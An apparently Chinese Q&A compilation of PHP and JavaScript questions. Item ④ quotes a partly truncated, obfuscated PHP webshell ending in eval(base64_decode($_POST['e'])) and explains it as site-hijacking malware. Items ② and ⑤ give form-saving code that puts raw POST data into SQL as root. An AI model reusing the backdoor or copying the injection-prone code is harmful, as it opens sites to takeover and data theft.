① 所有全端人員,以及php人員過來來一下,這段代碼是什麼意思,是在一個php文件裡面的代碼
。。。這是被加密並且被壓縮過的代碼,但是從eval()看來,八成是一個後門代碼!使用eval()函數可以直接執行裡面的命令,至於執行的什麼命令,加密過的鬼看的懂?
② php中 jquery如何獲取js動態添加的文本框數組值,並插入mysql資料庫
建2個頁面
1、test.php頁面,代碼如下:
<title></title>
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(function(){
x=100000;
y=1;
$("#dosubmit").click(function(){
var rand=parseInt(Math.random()* (x - y ));
var rand1=String.fromCharCode(Math.floor( Math.random() * 26) + "a".charCodeAt(0));
var col="<input name=info["+rand1+rand+"] type='text' class='text' value='"+rand+"' />";
$("input[id=submit]").before(col);
})
$("#submit").click(function(){
$("form input[class=text]").each(function(){
var val=$(this).val();
})
})
})
</script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<div class="con">
<form name="form1" action="testsave.php" method="post">
<input name="info[name]" class="text" value="10" type="text">
<input name="" class="text1" value="顯示" id="submit" type="submit">
</form>
<input name="" class="text1" value="增加" id="dosubmit" type="submit"><br>
</div>
2、保存提交過來的值頁面testsave.php頁面。代碼如下:
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<?php
$value="";
$test='test';
$conn=mysql_connect('localhost','root','0000','test');
mysql_select_db($test,$conn);
foreach($_POST['info'] as $key){
$value=$value.','.$key;
}
$sql="insert into base (name) values ('$value')";
if(mysql_query($sql)){
echo "添加成功<br />";
}
?>
<input type="button" name="button" id="button" value="顯示/隱藏內容">
<input type="button" name="domit" id="domit" value="返回">
<div class="content" style="display:none">
<?php
$sql1="select id,name from base";
$query=mysql_query($sql1);
while($result=mysql_fetch_array($query)){
echo $result['id']."========>".$result['name']."<br />";
}
?>
</div>
<?php
mysql_close($conn);
?>
<script type="text/javascript">
$(function(){
$("#button").bind("click",function(){
var show=$("div.content");
if(show.is(":visible")){
show.hide();
}
else{
show.show();
}
})
$("#domit").click(function(){
window.history.go(-1);
})
})
</script>
③ 請教JS中的方法fromCharCode對應php的什麼方法
<scripttype="text/javascript">
document.write(String.fromCharCode(72,69,76,76,79))
document.write("<br/>")
document.write(String.fromCharCode(65,66,67))
</script>
fromCharCode() 可接受一個指定的 Unicode 值,然後返回一個字元串。
④ php base64 解密加密問題
ion ev8l($s)#',$v)||preg_match('#[\(\[](\s*\d+,)#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src= ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d)ob_start('ev8l');for($i=0;$i<count($s);$i++)}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是將參數中的<script>...</script>部分替換為<script src= ></script>,這樣你的網頁就被掛上了馬。這段代碼應該是通過webshell上傳到你機器上的一段掛馬程序,至於webshell 的打開有很多原因,即然是php代碼那麼你的機器上很可能存在php遠程文件包含漏洞,也就是如果你的機器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那麼很可能就有這個的漏洞。
推薦解決方法:
1.恢復已被篡改的網頁
2.找一個RFI掃描器對本機進行掃描,將找到的漏洞進行修補(相應的程序網上都有對應的修補方法)
⑤ 動態文本框存入資料庫
1、test.php頁面,代碼如下:
<title></title>
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(function(){
x=100000;
y=1;
$("#dosubmit").click(function(){
var rand=parseInt(Math.random()* (x - y ));
var rand1=String.fromCharCode(Math.floor( Math.random() * 26) + "a".charCodeAt(0));
var col="<input name=info["+rand1+rand+"] type='text' class='text' value='"+rand+"' />";
$("input[id=submit]").before(col);
})
$("#submit").click(function(){
$("form input[class=text]").each(function(){
var val=$(this).val();
})
})
})
</script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<div class="con">
<form name="form1" action="testsave.php" method="post">
<input name="info[name]" class="text" value="10" type="text">
<input name="" class="text1" value="顯示" id="submit" type="submit">
</form>
<input name="" class="text1" value="增加" id="dosubmit" type="submit"><br>
</div>
2、保存提交過來的值頁面testsave.php頁面。代碼如下:
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<?php
$value="";
$test='test';
$conn=mysql_connect('localhost','root','0000','test');
mysql_select_db($test,$conn);
foreach($_POST['info'] as $key){
$value=$value.','.$key;
}
$sql="insert into base (name) values ('$value')";
if(mysql_query($sql)){
echo "添加成功<br />";
}
?>
<input type="button" name="button" id="button" value="顯示/隱藏內容">
<input type="button" name="domit" id="domit" value="返回">
<div class="content" style="display:none">
<?php
$sql1="select id,name from base";
$query=mysql_query($sql1);
while($result=mysql_fetch_array($query)){
echo $result['id']."========>".$result['name']."<br />";
}
?>
</div>
<?php
mysql_close($conn);
?>
<script type="text/javascript">
$(function(){
$("#button").bind("click",function(){
var show=$("div.content");
if(show.is(":visible")){
show.hide();
}
else{
show.show();
}
})
$("#domit").click(function(){
window.history.go(-1);
})
})
</script>
⑥ PHP接收URL中的參數的問題
首先 &是網址里的變數分割符合 如果不是必須 強烈不推薦
a.php?x=abc%2Bdefgh&d=123456
這樣就獲取兩個參數
$_GET['x'] 和$_GET['d];
你這樣一搞就全亂了
如果非要這樣的話,我試著幫你寫個
<?
$str= $_SERVER['QUERY_STRING'];
$str=split('=',$str)
$x=urldecode($str[1]);
echo $x;
?>
⑦ php網站,代碼有一段不知道什麼意思,求大神幫忙(代碼如下)
網友採納的那個回答是個毛線啊?就給你把這段js做了一下格式化。我來給你解釋一下吧:
這個代碼是前端的JS代碼,PHP是後端語言,這個代碼跟PHP沒有卵關系;
這個代碼不是病毒木馬代碼,檢測工具檢測出來紅色大概是因為這個是放在了注釋CDATA塊里。注釋CDATA塊其實是因以前的低端瀏覽器不識別JS代碼而生的,現在完全沒必要再注釋掉了;
你還是不放心的話,那我告訴你,這個代碼是給你隱藏你的真實郵箱的。因為很多發送垃圾郵件的人甚至搜索引擎,都會用爬蟲掃描各個網站的郵箱(因為郵箱格式特徵很明顯),掃到之後就給你發垃圾郵件。所以這個代碼是由PHP簡單的加密之後寫到頁面上一串16進制數字,然後用JS解密出來,爬蟲就掃不到你郵箱了,就這么簡單。
也許採納的那位哥們不服,說這么一段代碼看不出什麼來。那好,我說說每一行的意思。
首先是個閉包,懂前端的人都知道。
然後try一下,是為了謹慎,免得IE彈出頁面腳本有錯誤。
然後獲取document.currentScript標簽。如果沒有這個屬性的話,就用原始的方法來做,這里又是一個自執行函數(閉包)。
拿到當前的script標簽,那前一個恰好就是加密標簽了,郵箱就在這個標簽的data-cfemail屬性中,將這個標簽保存成變數為c。
然後就是解密了。
解密演算法很簡單,就是一串16進制串,兩兩讀取。
前兩個讀出來作為密鑰
從後面每兩個讀出來,和密鑰做異或,之後的值用ASCII讀出字母
這些字母拼出來的就是你的郵箱
解密之後創建一個文本節點替換掉原來的加密標簽,就完成了
⑧ PHP後門代碼,是什麼意思
這個是 eval 加密
解密後可以看到代碼 然後才知道他要幹啥
你貼的代碼不全